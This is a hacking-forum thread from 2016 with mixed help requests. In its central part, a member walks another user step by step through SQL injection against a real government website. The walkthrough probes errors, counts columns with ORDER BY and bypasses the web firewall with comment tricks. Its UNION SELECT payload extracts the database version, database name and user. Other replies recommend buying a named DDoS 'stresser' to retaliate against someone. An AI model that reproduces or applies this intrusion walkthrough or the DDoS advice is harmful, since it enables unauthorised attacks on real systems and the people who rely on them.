DO NOT DEAL WITH THIS MEMBER
Aug 30, 2016 06:13 AM
(This post was last modified: Aug 30, 2016 07:24 AM by spirited_wolf™.)
(Aug 30, 2016 05:18 AM)Angel shanu Wrote: yes sir now its working but can you please tell me from where i can get that bwapp lab also that you have not posted in desciption plz thanks sir really you are so helpful 🤩
You can download bWAPP Lab from :- Here
and i am glad To know that it worked for you.
Thanks 🤝
I'll be lurking around incase anyone needs my help or advice.
Good job on the helpdesk, Spirit.
DO NOT DEAL WITH THIS MEMBER
(Aug 30, 2016 10:09 AM)cyss Wrote: I'll be lurking around incase anyone needs my help or advice.
Good job on the helpdesk, Spirit.
Best of luck brother 👍
Thanks 🤝
DO NOT DEAL WITH THIS MEMBER
(Aug 30, 2016 11:23 PM)ScooterBrother36 Wrote: Thanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opvvThanks for the share opThanks for the share op
Thanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opv
Thanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share op
Thanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share op
Thanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share op
Thanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share op
Thanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opThanks for the share opv
Why are you spamming here brother 😧 don'T do this for increasing your post counts 😊 [Don't take it personally i just said because its looking so spammy].
and thanks 🤝
sir can you please help me in injecting this website::http://bpc.gov.bd/contactus.php?id=10
DO NOT DEAL WITH THIS MEMBER
(Aug 31, 2016 01:45 AM)Angel shanu Wrote: sir can you please help me in injecting this website::http://bpc.gov.bd/contactus.php?id=10
Sure let me tell you👍
Target::
PHP Code
<?php http://bpc.gov.bd/contactus.php?id=10
So, lets start our SQL injection
lets try to get an error
by using single quote:- " ' "
PHP Code
<?php http://bpc.gov.bd/contactus.php?id=10' [Error]
Lets try to balance it using " -- - "
PHP Code
<?php http://bpc.gov.bd/contactus.php?id=10' -- - [No-Error]
Lets find the total no. of columns using order by clause
PHP Code
<?php http://bpc.gov.bd/contactus.php?id=10'+ORDER+BY+1-- - [No-Error]
http://bpc.gov.bd/contactus.php?id=10'+ORDER+BY+7-- - [No-Error]
http://bpc.gov.bd/contactus.php?id=10'+ORDER+BY+8-- - [Error]
Means their are 7 total number's of columns. So, now lets check which column is vulnerable using u nion s elect statement
PHP Code
<?php http://bpc.gov.bd/contactus.php?id=10'+U NION+S ELECT+1,2,3,4,5,6,7-- -[Error]
So here is a waf we can bypass it using some simple keywords
Check my this thread:-
==>Some basics ways to bypass WAF<==
Lets try to bypass it
PHP Code
<?php http://bpc.gov.bd/contactus.php?id=10'+/*!50000U NION*/+S ELECT+1,2,3,4,5,6,7-- -[No-Error]
So, column 3 is vulnerable you can see it in title bar.
![[Image: s8a0QLb.png]](https://i.imgur.com/s8a0QLb.png)
so now we will use </title> for printing it on our screen.
So lets try our final query :-
PS:Due to WAF we need to bypass different so i used /**/ before every function ()
Code http://bpc.gov.bd/contactus.php?id=10+/*!12345union*/+select+1,2,concat/**/('</title>Injected by spirited wolf<br>Version::',@@`v ersion`,'<br> Database::',d atabase/**/(),'<br>User::',u ser/**/()),5,6,7--+
![[Image: fM4MZCu.png]](https://i.imgur.com/fM4MZCu.png)
Done thanks 🤝
Hope you learned something new 👍
[align=center][b]Check these thread 👍
![[Image: ma9LeWX.png]](https://i.imgur.com/ma9LeWX.png)
==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==
==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==
==>An ultimate reference for all Beginners Hackers<==
Thanks 🤝
(Aug 31, 2016 02:12 AM)spirited_wolf™ Wrote: [align=center][b]
Sure let me tell you👍
thanks once again sir you really helped me alot
DO NOT DEAL WITH THIS MEMBER
(Aug 31, 2016 02:23 AM)Angel shanu Wrote: thanks once again sir you really helped me alot
No problem mate keep learning 👍
Sharing is learning 👍
Thanks 🤝
Guys can you help me! I got ddosed this week he always ddosing me....
And i want to fight back i want to make his internet More lag...
THANK YOU GUYS!!!
DO NOT DEAL WITH THIS MEMBER
(Aug 31, 2016 04:16 AM)Rendell099 Wrote: Guys can you help me! I got ddosed this week he always ddosing me....
And i want to fight back i want to make his internet More lag...
THANK YOU GUYS!!!
You mean someone is Ddosing on your website?right?
(Aug 31, 2016 04:16 AM)Rendell099 Wrote: Guys can you help me! I got ddosed this week he always ddosing me....
And i want to fight back i want to make his internet More lag...
THANK YOU GUYS!!!
Allthough I despite the reasoning, your best bet (for 'beginners') would be to buy a stresser from the HF marketplace. Though, be carefull, alot of them fakely advertise their power.
DO NOT DEAL WITH THIS MEMBER
(Aug 31, 2016 07:01 AM)cyss Wrote: Allthough I despite the reasoning, your best bet (for 'beginners') would be to buy a stresser from the HF marketplace. Though, be carefull, alot of them fakely advertise their power. Right and if he is going to buy stresser then i will say he should buy :- Polystresser
How advanced can hacking get, meaning what are you able to achieve with success in the hacking world, is simply obaining a password for an email the extent, the ability to add or delete certain things from someones cpu (getting through in any method of hacking) the ability to obtain password and chatlogs on whatsapp and facebook/facebook messanger?
are there exploits out there that can possibly do anything?
DO NOT DEAL WITH THIS MEMBER
(Aug 31, 2016 09:51 AM)Ltyrosine Wrote: How advanced can hacking get, meaning what are you able to achieve with success in the hacking world, is simply obaining a password for an email the extent, the ability to add or delete certain things from someones cpu (getting through in any method of hacking) the ability to obtain password and chatlogs on whatsapp and facebook/facebook messanger?
are there exploits out there that can possibly do anything?
Let me try to say something 👍
Hacking is not a thing or a tool its just the creativity which sometimes changes into a BIG-BAN disaster. No one can learn it completely by just doing/taking some courses. Actually its something beyond that one can never learn it. It will take time may be more then your life span. So, yes some peoples call:-obtaining password/deleting or uploading something etc. a hacking which is right in their views. So, why i said no one can learn hacking fully ?
Let me tell you , A Hacker/Penetration tester is able to find the exploit due to development in various languages i.e PHP , Python , Javascript , HTML etc. suppose if their will be no developers of these various languages then of course they can't make any new thing due to which no one is able to find more exploit and vulnerabilities. and No Their is no tool that can hack anything because Hacking is not a " Hitting enter game."
Thanks Op ,this is a nice collection
|